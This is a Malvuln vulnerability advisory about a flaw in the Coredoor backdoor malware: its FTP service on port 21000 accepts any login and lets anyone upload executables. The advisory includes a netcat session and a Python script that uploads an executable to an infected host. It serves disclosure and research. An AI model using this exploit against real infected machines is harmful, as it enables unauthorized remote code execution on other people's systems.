Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Coredoor.10.a Vulnerability: Authentication Bypass RCE Description: The malware listens on TCP port 21000. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution. Type: PE32 MD5: 4d10cd3fa86239ade05d2b741892b1e5 Vuln ID: MVID-2021-0410 Dropped files: CFS.exe Disclosure: 11/25/2021 Exploit/PoC: nc64.exe x.x.x.x 21000 220 c400s FTP Server read... USER malvuln 331 Password required for malvuln. PASS malvuln 230 User malvuln logged in. SYST 215 UNIX Type: L8 Internet Component Suite CDUP 250 CWD command successful. "C:/" is current directory. PASV 227 Entering Passive Mode (192,168,18,125,194,155). STOR DOOM-SM 150 Opening data connection for DOOM-SM. 226 File received ok from socket import * MALWARE_HOST="192.168.18.125" PORT=49819 DOOM="DOOM-SM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).